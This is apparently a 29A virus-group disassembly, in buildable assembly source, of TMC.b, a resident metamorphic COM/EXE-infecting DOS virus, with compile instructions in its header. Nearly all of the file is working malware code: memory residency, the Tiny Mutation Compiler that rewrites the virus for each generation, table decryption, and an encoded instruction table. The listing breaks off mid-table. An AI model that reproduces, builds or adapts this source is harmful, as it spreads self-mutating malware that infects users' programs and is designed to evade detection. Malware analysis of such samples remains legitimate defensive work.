comment * TMC.b млллллм млллллм млллллм Disassembly by ллл ллл ллл ллл ллл ллл Super/29A and Darkman/29A мммллп плллллл ллллллл лллмммм ммммллл ллл ллл ллллллл ллллллп ллл ллл TMC.b is a 4780 bytes resident appending COM and EXE virus. Infects at load and/or execute program, rename file and open file. TMC.b has an error handler, retro structures and is metamorphic in file and memory using Tiny Mutation Compiler v 1.00 [TMC]. To compile TMC.b with Turbo Assembler v 5.0 type: TASM /M TMC_B.ASM TLINK /x TMC_B.OBJ EXE2BIN TMC_B.EXE TMC_B.COM * .model tiny .code code_begin: mov bp,100h ; BP = delta offset cld ; Clear direction flag mov ax,ds ; AX = segment of PSP for current ... mov [bp+program_seg],ax ; Store segment of PSP for current... dec ax ; AX = segment of current Memory C... mov ds,ax ; DS = segment of current Memory C... mov ax,ds:[03h] ; AX = size of memory block in par... cmp ax,1900h ; Insufficient memory? jae resize_mem ; Above or equal? Jump to resize_mem jmp terminate resize_mem: push cs ; Save CS at stack pop ds ; Load DS from stack (CS) mov [bp+mcb_size_],ax ; Store size of memory block in p... mov bx,[bp+new_mcb_size] mov ah,4ah ; Resize memory block int 21h jnc allocate_mem ; No error? Jump to allocate_mem jmp terminate allocate_mem: mov ah,48h ; Allocate memory mov bx,[bp+mcb_size_] ; BX = size of memory block in par... sub bx,[bp+new_mcb_size] dec bx ; BX = number of paragraphs to all... cmp bx,0c00h ; Insufficient memory? jae allocat_mem ; Above or equal? Jump to allocat_... jmp terminate allocat_mem: int 21h jnc initiali_tmc ; No error? Jump to initiali_tmc jmp terminate initiali_tmc: mov es,ax ; ES = segment of allocated memory mov es:[01h],0deadh ; Store 16-bit random number mov word ptr es:[0ch],00h mov es:[04h],1000h ; Store offset of block information mov es:[06h],2000h ; Store offset of CALL; JMP; Jcc i... mov es:[08h],3000h ; Store offset of data information lea si,[bp+tmc_table] ; SI = offset of tmc_table push si ; Save SI at stack mov bx,4000h ; BX = offset of next virus genera... jmp initial_tmc initial_tmc: mov di,10h ; DI = offset of table of blocks xor ax,ax ; Zero AX jmp tmc_ini_loop tmc_ini_loop: add si,ax ; SI = offset of block or instruct... call decrypt_byte or al,al ; End of table? jz calc_blocks ; Zero? Jump to calc_blocks nop nop nop cmp al,11101000b ; CALL; JMP; Data reference; Jcc? jae exam_block ; Above or equal? Jump to exam_block nop nop nop cmp al,10h ; Data? jbe tmc_ini_loop ; Below or equal? Jump to tmc_ini_... nop nop nop sub al,10h ; AL = length of data jmp tmc_ini_loop exam_block: cmp al,11101111b ; End of block? jne exam_block_ ; Not equal? Jump to exam_block_ nop nop nop mov al,00h ; Don't add anything to offset wit... jmp tmc_ini_loop exam_block_: cmp al,11101110b ; Beginning of block? jne next_byte ; Not equal? Jump to next_byte nop nop nop mov ax,si ; AX = offset of block identification dec ax ; AX = offset of block within table stosw ; Store offset of block within table mov ax,0ffffh ; Block is still in one part stosw ; Store block identification mov ax,02h ; Add two to offset within table jmp tmc_ini_loop next_byte: mov al,02h ; Add two to offset within table jmp tmc_ini_loop calc_blocks: lea ax,[di-10h] ; AX = number of blocks multiplied... shr ax,01h ; Divide number of blocks by two shr ax,01h ; Divide number of blocks by two mov es:[0ah],ax ; Store number of blocks xor ax,ax ; End of table stosw ; Store end of table mov di,10h ; DI = offset of table of blocks mov si,es:[di] ; SI = offset of block within table jmp exam_bloc split_block: push bp ; Save BP at stack mov bp,es:[0ah] ; BP = number of blocks call rnd_in_range pop bp ; Load BP from stack shl ax,01h ; Multiply random number with two shl ax,01h ; Multiply random number with two add ax,10h ; Add ten to random number mov di,ax ; DI = random offset within table jmp exam_nxt_blo exam_nxt_blo: add di,04h ; DI = offset of next offset withi... mov si,es:[di] ; SI = offset of next block within... or si,si ; End of table? jnz exam_block__ ; Not zero? Jump to exam_block__ nop nop nop mov di,10h ; DI = offset of table of blocks mov si,es:[di] ; SI = offset of block within table jmp exam_block__ exam_block__: push ax ; Save AX at stack call decrypt_byte dec si ; Decrease offset of block within ... cmp al,11101111b ; End of block? pop ax ; Load AX from stack jne exam_bloc ; Not equal? Jump to exam_bloc nop nop nop cmp di,ax ; End of table of blocks? jne exam_nxt_blo ; Not equal? Jump to exam_nxt_blo nop nop nop jmp exam_tbl_inf exam_bloc: mov ax,es:[di+02h] ; AX = block information cmp ax,0ffffh ; Block is still in one part? je exam_bloc_ ; Equal? Jump to exam_bloc_ nop nop nop push di ; Save DI at stack mov di,ax ; DI = offset of end of first part... mov al,11101001b ; JMP imm16 (opcode 0e9h) stosb ; Store JMP imm16 mov ax,bx ; AX = offset within next virus ge... dec ax ; Decrease offset within next viru... dec ax ; Decrease offset within next viru... sub ax,di ; Subtract offset of end of first ... stosw ; Store 16-bit immediate pop di ; Load DI from stack jmp exam_bloc_ exam_bloc_: call decrypt_byte cmp al,11101111b ; End of block? jne exam_bloc__ ; Not equal? Jump to exam_bloc__ jmp end_of_block exam_bloc__: cmp al,10h ; Data; CALL; JMP; Data reference...? ja exam_bloc___ ; Above? Jump to exam_bloc___ nop nop nop push ax bp ; Save registers at stack mov bp,[bp+probability] ; BP = probability call rnd_in_range or ax,ax ; Split up block? pop bp ax ; Load registers from stack jz split_block ; Zero? Jump to split_block_ nop nop nop jmp exam_bloc___ exam_bloc___: cmp al,11101111b ; End of block? jne exam_blo ; Not equal? Jump to exam_blo jmp end_of_block exam_blo: cmp al,11101000b ; CALL; JMP; Data reference; Jcc? jae exam_data ; Above or equal? Jump to exam_data nop nop nop cmp al,10h ; Data? jbe sto_instruct ; Below or equal? Jump to sto_inst... nop nop nop sub al,10h ; AL = length of data jmp sto_instruct sto_instruct: xor cx,cx ; Zero CX mov cl,al ; CL = length of instruction push di ; Save DI at stack mov di,bx ; DI = offset within next virus ge... jmp sto_ins_loop sto_ins_loop: call decrypt_byte stosb ; Store byte of instruction dec cx ; Decrease counter jnz sto_ins_loop ; Not zero? Jump to sto_ins_loop nop nop nop mov bx,di ; BX = offset within next virus ge... pop di ; Load DI from stack jmp exam_bloc_ exam_data: cmp al,11101101b ; Data reference? jne exam_blo_ ; Not equal? Jump to exam_blo_ nop nop nop push di ; Save DI at stack mov di,es:[08h] ; DI = offset within data information mov ax,bx ; AX = offset within next virus ge... dec ax ; Decrease offset within next viru... dec ax ; Decrease offset within next viru... stosw ; Store offset within next virus g... call decrypt_id stosw ; Store block identification mov es:[08h],di ; Store offset within data informa... pop di ; Load DI from stack jmp exam_bloc_ exam_blo_: cmp al,11101110b ; Beginning of block? jne sto_call_jmp ; Not equal? Jump to sto_call_jmp nop nop nop push di ; Save DI at stack mov di,es:[04h] ; DI = offset within block informa... mov ax,bx ; AX = offset within next virus ge... stosw ; Store offset within next virus ge... call decrypt_id stosw ; Store block identification mov es:[04h],di ; Store offset within block inform... cmp ax,4c5h ; Block identification of tmc_table? jne exam_message ; Not equal? Jump to exam_message nop nop nop push si ; Save SI at stack mov di,bx ; DI = offset within next virus ge... lea si,[bp+tmc_table] ; SI = offset of tmc_table mov cx,(table_end-table_begin) rep movsb ; Move table to top of memory mov bx,di ; BX = offset within next virus ge... pop si ; Load SI from stack jmp examine_next exam_message: cmp ax,2328h ; Block identification of message? jne exam_probabi ; Not equal? Jump to exam_probabi nop nop nop mov ax,14h ; Probability of including message cmp [bp+probability],ax ; Include message? jae examine_next ; Above or equal? Jump to examine_... nop nop nop call decrypt_byte sub al,10h ; AL = length of message mov ah,00h ; Zero AH add si,ax ; SI = offset of end of message jmp examine_next exam_probabi: cmp ax,0bech ; Block identification of probabi...? jne examine_next ; Not equal? Jump to examine_next nop nop nop mov ax,[bp+probability] ; AX = probability dec ax ; Decrease probability cmp ax,05h ; Probability too small? jae store_probab ; Above or equal? Jump to store_pr... nop nop nop mov ax,64h ; Reset probability jmp store_probab store_probab: mov es:[bx],ax ; Store probability add bx,02h ; Add two to offset within next vi... add si,03h ; SI = offset of beginning of next... jmp examine_next examine_next: pop di ; Load DI from stack call decrypt_byte jmp exam_bloc___ sto_call_jmp: push ax di ; Save registers at stack mov di,es:[06h] ; DI = offset within CALL; JMP; Jc... mov ax,bx ; AX = offset within next virus ge... stosw ; Store offset within next virus g... call decrypt_id stosw ; Store block identification mov es:[06h],di ; Store offset within CALL; JMP; J... pop di ax ; Load registers from stack mov es:[bx],al ; Store CALL imm16; JMP imm16; Jcc... add bx,03h ; Add three to offset within next ... cmp al,11110000b ; Jump condition? jae jcc_imm8 ; Above or equal? Jump to jcc_imm8 jmp exam_bloc_ jcc_imm8: inc bx ; Increase offset within next viru... inc bx ; Increase offset within next viru... jmp exam_bloc_ split_block_: mov es:[di+02h],bx ; Store offset within next virus g... add bx,03h ; Add three to offset within next ... jmp end_of_block end_of_block: dec si ; Decrease offset of block within ... mov es:[di],si ; Store offset of block within table jmp split_block exam_tbl_inf: cmp word ptr es:[0ch],00h jne correct_i16 ; End of second table? Jump to cor... nop nop nop pop si ; Load SI from stack mov es:[0ch],bx ; Store offset within next virus g... add si,(second_table-first_table) jmp initial_tmc correct_i16: push es ; Save ES at stack pop ds ; Load DS from stack (ES) sub bx,4000h ; Subtract offset of next virus ge... mov ds:[0eh],bx ; Store length of virus mov si,2000h ; SI = offset of CALL; JMP; Jcc im... mov cx,ds:[06h] ; CX = offset of end of CALL; JMP;... sub cx,si ; Subtract offset of CALL; JMP; Jc... shr cx,01h ; Divide number of CALL imm16; JMP... shr cx,01h ; Divide number of CALL imm16; JMP... jmp jmp_call_loo jmp_call_loo: lodsw ; AX = offset of block within data... push ax ; Save AX at stack lodsw ; AX = offset of block within data... push cx si ; Save registers at stack mov si,1000h ; SI = offset of block information mov cx,ds:[04h] ; CX = offset of end of block info... sub cx,si ; Subtract offset of block informa... shr cx,01h ; Divide number of block by two shr cx,01h ; Divide number of block by two jmp find_block find_block: cmp ax,[si+02h] ; Found block? je found_block ; Equal? Jump to found_block nop nop nop add si,04h ; SI = offset of next block in table dec cx ; Decrease counter jnz find_block ; Not zero? Jump to find_block nop nop nop found_block: mov dx,[si] ; DX = offset of block pop si cx ; Load registers from stack pop bx ; Load BX from stack (AX) mov al,[bx] ; AL = first byte of instruction cmp al,11110000b ; Jump condition? jb sto_call_jm ; Below? Jump to sto_call_jm nop nop nop sub byte ptr [bx],10000000b inc bx ; BX = offset of 8-bit immediate push dx ; Save DX at stack sub dx,bx ; Subtract offset within next viru... dec dx ; Decrease 8-bit immediate cmp dx,7fh ; 8-bit immediate out of range? jg invert_jcc ; Greater? Jump to invert_jcc nop nop nop cmp dx,0ff80h ; 8-bit immediate out of range? jl invert_jcc ; Less? Jump to invert_jcc nop nop nop mov [bx],dl ; Store 8-bit immediate inc bx ; BX = offset of end of Jcc imm8 mov [bx],1001000010010000b mov byte ptr [bx+02h],10010000b pop dx ; Load DX from stack jmp correct_i16_ invert_jcc: pop dx ; Load DX from stack dec bx ; BX = offset of Jcc imm8 xor byte ptr [bx],00000001b inc bx ; BX = offset of 8-bit immediate mov byte ptr [bx],03h ; Store 8-bit immediate inc bx ; BX = offset of JMP imm16 mov al,11101001b ; JMP imm16 (opcode 0e9h) jmp sto_call_jm sto_call_jm: mov [bx],al ; Store CALL imm16; JMP imm16 inc bx ; BX = offset of 16-bit immediate sub dx,bx ; Subtract offset within next viru... dec dx ; Decrease 16-bit immediate dec dx ; Decrease 16-bit immediate mov [bx],dx ; Store 16-bit immediate jmp correct_i16_ correct_i16_: dec cx ; Decrease counter jnz jmp_call_loo ; Not zero? Jump to jmp_call_loo nop nop nop mov si,3000h ; SI = offset of data information mov cx,ds:[08h] ; CX = offset of end of data infor... sub cx,si ; Subtract offset of data informat... shr cx,01h ; Divide number of data references... shr cx,01h ; Divide number of data references... jmp data_ref_loo data_ref_loo: lodsw ; AX = offset of block within data... push ax ; Save AX at stack lodsw ; AX = offset of block within data... push cx si ; Save registers at stack mov si,1000h ; SI = offset of block information mov cx,ds:[04h] ; CX = offset of end of block info... sub cx,si ; Subtract offset of block informa... shr cx,01h ; Divide number of block by two shr cx,01h ; Divide number of block by two jmp find_block_ find_block_: cmp ax,[si+02h] ; Found block? je found_block_ ; Equal? Jump to found_block_ nop nop nop add si,04h ; SI = offset of next block in table dec cx ; Decrease counter jnz find_block_ ; Not zero? Jump to find_block_ nop nop nop found_block_: mov ax,[si] ; AX = offset of block pop si cx ; Load registers from stack pop bx ; Load BX from stack (AX) sub ax,4000h ; Subtract offset of next virus ge... mov [bx],ax ; Store 16-bit immediate dec cx ; Decrease counter jnz data_ref_loo ; Not zero? Jump to data_ref_loo nop nop nop jmp restore_code restore_code: mov ax,[bp+program_seg] ; AX = segment of PSP for current ... mov cx,[bp+initial_ss] ; CX = initial SS relative to star... add cx,10h ; Add ten to initial SS relative t... add cx,ax ; Add segment of PSP for current p... push cx ; Save CX at stack push [bp+initial_sp] ; Save initial SP at stack mov cx,[bp+initial_cs] ; CX = initial CS relative to star... add cx,10h ; Add ten to initial CS relative t... add cx,ax ; Add segment of PSP for current p... push cx ; Save CX at stack push [bp+initial_ip] ; Save initial IP at stack push ax ; Save segment of PSP for current ... push [bp+mcb_size] ; Save size of memory block in par... push ds ; Save DS at stack mov cl,00h ; COM executable cmp [bp+executa_stat],cl jne move_virus ; COM executable? Jump to move_virus nop nop nop lea si,[bp+origin_code] ; SI = offset of origin_code mov ax,cs:[si] ; AX = first two bytes of original... mov cs:[100h],ax ; Store first two bytes of origina... mov al,cs:[si+02h] ; AL = last byte of original code ... mov cs:[100h+02h],al ; Store last byte of original code... jmp move_virus mov ax,[bp+program_seg] ; AX = segment of PSP for current ... mov cx,[bp+initial_ss] ; CX = initial SS relative to star... add cx,10h ; Add ten to initial SS relative t... add cx,ax ; Add segment of PSP for current p... push cx ; Save CX at stack push [bp+initial_sp] ; Save initial SP at stack mov cx,[bp+initial_cs] ; CX = initial CS relative to star... add cx,10h ; Add ten to initial CS relative t... add cx,ax ; Add segment of PSP for current p... push cx ; Save CX at stack push [bp+incorrect_ip] ; Save incorrect IP at stack push ax ; Save segment of PSP for current ... push [bp+mcb_size] ; Save size of memory block in par... push ds ; Save DS at stack mov cl,00h ; COM executable cmp [bp+executa_stat],cl jne move_virus ; COM executable? Jump to move_virus nop nop nop lea si,[bp+origin_code] ; SI = offset of origin_code mov ax,cs:[si] ; AX = first two bytes of original... mov cs:[100h],ax ; Store first two bytes of origina... mov al,cs:[si+02h] ; AL = last byte of original code ... mov cs:[100h+02h],al ; Store last byte of original code... jmp move_virus move_virus: xor ax,ax ; Zero AX mov ds,ax ; DS = segment of DOS communicatio... cmp byte ptr ds:[501h],10h jne move_virus_ ; Already resident? Jump to move_v... jmp virus_exit move_virus_: mov byte ptr ds:[501h],10h push es ; Save ES at stack pop ds ; Load DS from stack (ES) mov ax,ds:[0ch] ; AX = offset within next virus ge... sub ax,4000h ; Subtract offset of next virus ge... mov [bp+vir_exit_off],ax mov cx,ds:[0eh] ; CX = length of virus mov [bp+virus_length],cx mov si,4000h ; SI = offset of next virus genera... xor di,di ; Zero DI rep movsb ; Move virus to top of memory mov cl,04h ; Divide by paragraphs shr di,cl ; DI = length of next virus genera... inc di ; Increase length of next virus ge... mov bx,[bp+mcb_size_] ; BX = size of memory block in par... sub bx,[bp+new_mcb_size] sub bx,di ; Subtract length of next virus ge... dec bx ; Decrease new size in paragraphs dec bx ; Decrease new size in paragraphs cmp bx,di ; Insufficient memory? jae resize_mem_ ; Above or equal? Jump to resize_mem_ jmp virus_exit resize_mem_: mov ah,4ah ; Resize memory block int 21h jnc allocat_mem_ ; No error? Jump to allocat_mem_ jmp virus_exit allocat_mem_: mov bx,di ; BX = number of paragraphs to all... mov ah,48h ; Allocate memory int 21h jc virus_exit ; Error? Jump to virus_exit nop nop nop push ax ; Save AX at stack dec ax ; AX = segment of current Memory C... mov es,ax ; ES = segment of current Memory C... mov word ptr es:[01h],08h pop es ; Load ES from stack (AX) mov cx,[bp+virus_length] xor si,si ; Zero SI xor di,di ; Zero DI rep movsb ; Move virus to top of memory push es ; Save ES at stack push word ptr [bp+vir_exit_off] mov al,[bp+crypt_key] ; AL = 8-bit encryption/decryption... mov ah,byte ptr [bp+sliding_key] retf ; Return far terminate: mov ax,4c00h ; Terminate with return code int 21h get_rnd_num proc near ; Get 16-bit random number push cx ; Save CX at stack in al,40h ; AL = 8-bit random number mov ah,al ; AH = 8-bit random number in al,40h ; AL = 8-bit random number xor ax,es:[01h] ; AX = 16-bit random number mov cl,ah ; CL = high-order byte of 16-bit r... rol ax,cl ; AX = 16-bit random number mov es:[01h],ax ; Store 16-bit random number pop cx ; Load CX from stack ret ; Return endp rnd_in_range proc near ; Random number within range or bp,bp ; Zero BP? jz zero_range ; Zero? Jump to zero_range nop nop nop push dx ; Save DX at stack call get_rnd_num xor dx,dx ; Zero DX div bp ; DX = random number within range xchg ax,dx ; AX = random number within range pop dx ; Load DX from stack ret ; Return zero_range: xor ax,ax ; AX = random number within range ret ; Return endp decrypt_byte proc near ; Decrypt byte of table mov [bp+ah_],ah ; Store AH mov ax,si ; AX = offset within table sub ax,bp ; Subtract delta offset from offse... sub ax,offset tmc_table ; Subtract offset of tmc_table fro... mul word ptr [bp+sliding_key] add al,[bp+crypt_key] ; AL = 8-bit encryption/decryption... xor al,[si] ; AL = byte of decrypted table mov ah,[bp+ah_] ; AH = stored AH inc si ; Increase offset within table ret ; Return endp decrypt_id proc near ; Decrypt block identification in ... call decrypt_byte mov ah,al ; AL = byte of decrypted table call decrypt_byte xchg al,ah ; AL = byte of decrypted table ret ; Return endp virus_exit: pop es ; Load ES from stack mov ah,49h ; Free memory int 21h pop bx ; Load BX from stack pop ax ; Load AX from stack mov ds,ax ; DS = segment of PSP for current ... mov es,ax ; DS = segment of PSP for current ... mov ah,4ah ; Resize memory block int 21h lea bx,[bp+jmp_imm32] ; BX = offset of jmp_imm32 pop ax ; Load AX from stack (initial IP) mov cs:[bx+01h],ax ; Store initial IP pop ax ; Load AX from stack (initial CS ...) mov cs:[bx+03h],ax ; Store initial CS relative to sta... pop ax ; Load AX from stack (initial SP) pop ss ; Load SS from stack (initial SS ...) mov sp,ax ; SP = stack pointer jmp jmp_imm32 jmp_imm32 equ $ ; Offset of JMP imm32 (opcode 0eah) db 11101010b ; JMP imm32 (opcode 0eah) dd 00h ; Pointer to virus in top of memory ah_ db 00h ; Accumulator register (high-orde...) probability dw 32h ; Probability crypt_key db 00h ; 8-bit encryption/decryption key sliding_key dw 00h ; 8-bit sliding encryption/decrypt... executa_stat db 00h ; Executable status origin_code db 11000011b,02h dup(00h) initial_cs dw 0fff0h ; Initial CS relative to start of ... initial_ss dw 0fff0h ; Initial SS relative to start of ... initial_ip dw 100h ; Initial IP incorrect_ip dw 100h ; Incorrect IP initial_sp dw 0fffeh ; Initial SP new_mcb_size dw 1000h ; New size in paragraphs mcb_size dw 0ffffh ; Size of memory block in paragraphs mcb_size_ dw 00h ; Size of memory block in paragraphs program_seg dw 00h ; Segment of PSP for current process virus_length dw 00h ; Length of virus vir_exit_off dw 00h ; Offset of virus_exit table_begin: first_table: tmc_table db 11101111b ; End of block db 11101110b ; Beginning of block dw 00h ; Block identification of tmc_table db 03h ; Three bytes instruction mov bp,1234h ; BP = delta offset db 01h ; One byte instruction cld ; Clear direction flag db 02h ; Two bytes instruction mov ax,ds ; AX = segment of PSP for current ... db 04h ; Four bytes instruction mov [bp+1234h],ax ; Store segment of PSP for current... db 11101101b ; Data reference dw 0befh ; Pointer to program_seg_ db 01h ; One byte instruction dec ax ; AX = segment of current Memory C... db 02h ; Two bytes instruction mov ds,ax ; DS = segment of current Memory C... db 03h ; Three bytes instruction mov ax,ds:[03h] ; AX = size of memory block in par... db 03h ; Three bytes instruction cmp ax,1900h ; Insufficient memory? db 01110010b+10000000b ; Below? Jump to terminate_ dw 0beeh ; Pointer to terminate_ db 01h ; One byte instruction push cs ; Save CS at stack db 01h ; One byte instruction pop ds ; Load DS from stack (CS) db 04h ; Four bytes instruction mov [bp+1234h],ax ; Store size of memory block in p... db 11101101b ; Data reference dw 1394h ; Pointer to mcb_size___ db 04h ; Four bytes instruction mov bx,[bp+1234h] ; BX = new size in paragraphs db 11101101b ; Data reference dw 1393h ; Pointer to new_mcb_siz db 02h ; Two bytes instruction mov ah,4ah ; Resize memory block db 02h ; Two bytes instruction int 21h db 01110010b+10000000b ; Error? Jump to terminate_ dw 0beeh ; Pointer to terminate_ db 02h ; Two bytes instruction mov ah,48h ; Allocate memory db 04h ; Four bytes instruction mov bx,[bp+1234h] ; BX = size of memory block in par... db 11101101b ; Data reference dw 1394h ; Pointer to mcb_size___ db 04h ; Four bytes instruction sub bx,[bp+1234h] ; Subtract new size in paragraphs ... db 11101101b ; Data reference dw 1393h ; Pointer to new_mcb_siz db 01h ; One byte instruction dec bx ; BX = number of paragraphs to all... db 04h ; Four bytes instruction cmp bx,0c00h ; Insufficient memory? db 01110010b+10000000b ; Below? Jump to terminate_ dw 0beeh ; Pointer to terminate_ db 02h ; Two bytes instruction int 21h db 01110010b+10000000b ; Error? Jump to terminate_ dw 0beeh ; Pointer to terminate_ db 02h ; Two bytes instruction mov es,ax ; ES = segment of allocated memory db 07h ; Seven bytes instruction mov es:[01h],0deadh ; Store 16-bit random number db 07h ; Seven bytes instruction mov word ptr es:[0ch],00h db 07h ; Seven bytes instruction mov es:[04h],1000h ; Store offset of block information db 07h ; Seven bytes instruction mov es:[06h],2000h ; Store offset of CALL; JMP; Jcc i... db 07h ; Seven bytes instruction mov es:[08h],3000h ; Store offset of data information db 04h ; Four bytes instruction lea si,[bp+1234h] ; SI = offset of tmc_table_ db 11101101b ; Data reference dw 4c5h ; Pointer to tmc_table_ db 01h ; One byte instruction push si ; Save SI at stack db 03h ; Three bytes instruction mov bx,4000h ; BX = offset of next virus genera... db 11101001b ; JMP imm16 (opcode 0e9h) dw 0fa0h ; Pointer to initial_tmc db 11101111b ; End of block initial_tmc_ db 11101110b ; Beginning of block dw 0fa0h ; Block identification of initial_tmc_ db 03h ; Three bytes instruction mov di,10h ; DI = offset of table of blocks db 02h ; Two bytes instruction xor ax,ax ; Zero AX db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bb8h ; Pointer to tmc_ini_loo db 11101111b ; End of block tmc_ini_loo db 11101110b ; Beginning of block dw 0bb8h ; Block identification of tmc_ini_... db 02h ; Two bytes instruction add si,ax ; SI = offset of block or instruct... db 11101000b ; CALL imm16 (opcode 0e8h) dw 0be0h ; Pointer to decrypt_byt db 02h ; Two bytes instruction or al,al ; End of table? db 01110100b+10000000b ; Zero? Jump to calc_blocks_ dw 0bbch ; Pointer to calc_blocks_ db 02h ; Two bytes instruction cmp al,11101000b ; CALL; JMP; Data reference; Jcc? db 01110011b+10000000b ; Above or equal? Jump to exam_blo__ dw 0bb9h ; Pointer to exam_blo__ db 02h ; Two bytes instruction cmp al,10h ; Data? db 01110110b+10000000b ; Below or equal? Jump to tmc_ini_... dw 0bb8h ; Pointer to tmc_ini_loo db 02h ; Two bytes instruction sub al,10h ; AL = length of data db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bb8h ; Pointer to tmc_ini_loo db 11101111b ; End of block exam_blo__ db 11101110b ; Beginning of block dw 0bb9h ; Block identification of exam_blo__ db 02h ; Two bytes instruction cmp al,11101111b ; End of block? db 01110101b+10000000b ; Not equal? Jump to exam_blo___ dw 0bbah ; Pointer to exam_blo___ db 02h ; Two bytes instruction mov al,00h ; Don't add anything to offset wit... db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bb8h ; Pointer to tmc_ini_loo db 11101111b ; End of block exam_blo___ db 11101110b ; Beginning of block dw 0bbah ; Block identification of exam_blo___ db 02h ; Two bytes instruction cmp al,11101110b ; Beginning of block? db 01110101b+10000000b ; Not equal? Jump to next_byte_ dw 0bbbh ; Pointer to next_byte_ db 02h ; Two bytes instruction mov ax,si ; AX = offset of block identification db 01h ; One byte instruction dec ax ; AX = offset of block within table db 01h ; One byte instruction stosw ; Store offset of block within table db 03h ; Three bytes instruction mov ax,0ffffh ; Block is still in one part db 01h ; One byte instruction stosw ; Store block identification db 03h ; Three bytes instruction mov ax,02h ; Add two to offset within table db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bb8h ; Pointer to tmc_ini_loo db 11101111b ; End of block next_byte_ db 11101110b ; Beginning of block dw 0bbbh ; Block identification of next_byte_ db 02h ; Two bytes instruction mov al,02h ; Add two to offset within table db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bb8h ; Pointer to tmc_ini_loo db 11101111b ; End of block calc_blocks_ db 11101110b ; Beginning of block dw 0bbch ; Block identification of calc_blo... db 03h ; Three bytes instruction lea ax,[di-10h] ; AX = number of blocks multiplied... db 02h ; Two bytes instruction shr ax,01h ; Divide number of blocks by two db 02h ; Two bytes instruction shr ax,01h ; Divide number of blocks by two db 04h ; Four bytes instruction mov es:[0ah],ax ; Store number of blocks db 02h ; Two bytes instruction xor ax,ax ; End of table db 01h ; One byte instruction stosw ; Store end of table db 03h ; Three bytes instruction mov di,10h ; DI = offset of table of blocks db 03h ; Three bytes instruction mov si,es:[di] ; SI = offset of block within table db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bc0h ; Pointer to exam_bl db 11101111b ; End of block split_bloc db 11101110b ; Beginning of block dw 0bbdh ; Block identification of split_bloc db 01h ; One byte instruction push bp ; Save BP at stack db 05h ; Five bytes instruction mov bp,es:[0ah] ; BP = number of blocks db 11101000b ; CALL imm16 (opcode 0e8h) dw 0bd5h ; Pointer to rnd_in_rang db 01h ; One byte instruction pop bp ; Load BP from stack db 02h ; Two bytes instruction shl ax,01h ; Multiply random number with two db 02h ; Two bytes instruction shl ax,01h ; Multiply random number with two db 03h ; Three bytes instruction add ax,10h ; Add ten to random number db 02h ; Two bytes instruction mov di,ax ; DI = random offset within table db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bbeh ; Pointer to exam_nxt_bl_ db 11101111b ; End of block exam_nxt_bl_ db 11101110b ; Beginning of block dw 0bbeh ; Block identification of exam_nxt... db 03h ; Three bytes instruction add di,04h ; DI = offset of next offset withi... db 03h ; Three bytes instruction mov si,es:[di] ; SI = offset of next block within... db 02h ; Two bytes instruction or si,si ; End of table? db 01110101b+10000000b ; Not zero? Jump to exam_blo____ dw 0bbfh ; Pointer to exam_blo____ db 03h ; Three bytes instruction mov di,10h ; DI = offset of table of blocks db 03h ; Three bytes instruction mov si,es:[di] ; SI = offset of block within table db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bbfh ; Pointer to exam_blo____ db 11101111b ; End of block exam_blo____ db 11101110b ; Beginning of block dw 0bbfh ; Block identification of exam_blo... db 01h ; One byte instruction push ax ; Save AX at stack db 11101000b ; CALL imm16 (opcode 0e8h) dw 0be0h ; Pointer to decrypt_byt db 01h ; One byte instruction dec si ; Decrease offset of block within ... db 02h ; Two bytes instruction cmp al,11101111b ; End of block? db 01h ; One byte instruction pop ax ; Load AX from stack db 01110101b+10000000b ; Not equal? Jump to exam_bl dw 0bc0h ; Pointer to exam_bl db 02h ; Two bytes instruction cmp di,ax ; End of table of blocks? db 01110101b+10000000b ; Not equal? Jump to exam_nxt_bl_ dw 0bbeh ; Pointer to exam_nxt_bl_ db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bcah ; Pointer to exam_tbl_in db 11101111b ; End of block exam_bl db 11101110b ; Beginning of block dw 0bc0h ; Block identification of exam_bl db 04h ; Four bytes instruction mov ax,es:[di+02h] ; AX = block information db 03h ; Three bytes instruction cmp ax,0ffffh ; Block is still in one part? db 01110100b+10000000b ; Equal? Jump to exam_bl_ dw 0bc1h ; Pointer to exam_bl_ db 01h ; One byte instruction push di ; Save DI at stack db 02h ; Two bytes instruction mov di,ax ; DI = offset of end of first part... db 02h ; Two bytes instruction mov al,11101001b ; JMP imm16 (opcode 0e9h) db 01h ; One byte instruction stosb ; Store JMP imm16 db 02h ; Two bytes instruction mov ax,bx ; AX = offset within next virus ge... db 01h ; One byte instruction dec ax ; Decrease offset within next viru... db 01h ; One byte instruction dec ax ; Decrease offset within next viru... db 02h ; Two bytes instruction sub ax,di ; Subtract offset of end of first ... db 01h ; One byte instruction stosw ; Store 16-bit immediate db 01h ; One byte instruction pop di ; Load DI from stack db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bc1h ; Pointer to exam_bl_ db 11101111b ; End of block exam_bl_ db 11101110b ; Beginning of block dw 0bc1h ; Block identification of exam_bl_ db 11101000b ; CALL imm16 (opcode 0e8h) dw 0be0h ; Pointer to decrypt_byt db 02h ; Two bytes instruction cmp al,11101111b ; End of block? db 01110100b+10000000b ; Equal? Jump to end_of_bloc dw 0bc9h ; Pointer to end_of_bloc db 02h ; Two bytes instruction cmp al,10h ; Data; CALL; JMP; Data reference...? db 01110111b+10000000b ; Above? Jump to exam_bl__ dw 0bc2h ; Pointer to exam_bl__ db 01h ; One byte instruction push ax ; Save AX at stack db 01h ; One byte instruction push bp ; Save BP at stack db 04h ; Four bytes instruction mov bp,[bp+1234h] ; BP = probability db 11101101b ; Data reference dw 0bech ; Pointer to probability_ db 11101000b ; CALL imm16 (opcode 0e8h) dw 0bd5h ; Pointer to rnd_in_rang db 02h ; Two bytes instruction or ax,ax ; Split up block? db 01h ; One byte instruction pop bp ; Load BP from stack db 01h ; One byte instruction pop ax ; Load AX from stack db 01110100b+10000000b ; Zero? Jump to split_bloc_ dw 0bc8h ; Pointer to split_bloc_ db 11101001b ; JMP imm16 (opcode 0e9h) dw 0bc2h ; Pointer to exam_bl__ db 11101111b ; End of block exam_bl__ db 11101110b ; Beginning of block dw 0bc2h ; Block identification of exam_bl__ db 02h ; Two bytes instruction cmp al,11101111b ; End of block? db 01110100b+10000000b ; Equal? Jump to end_of_bloc dw 0bc9h ; Pointer to end_of_bloc db 02h ; Two 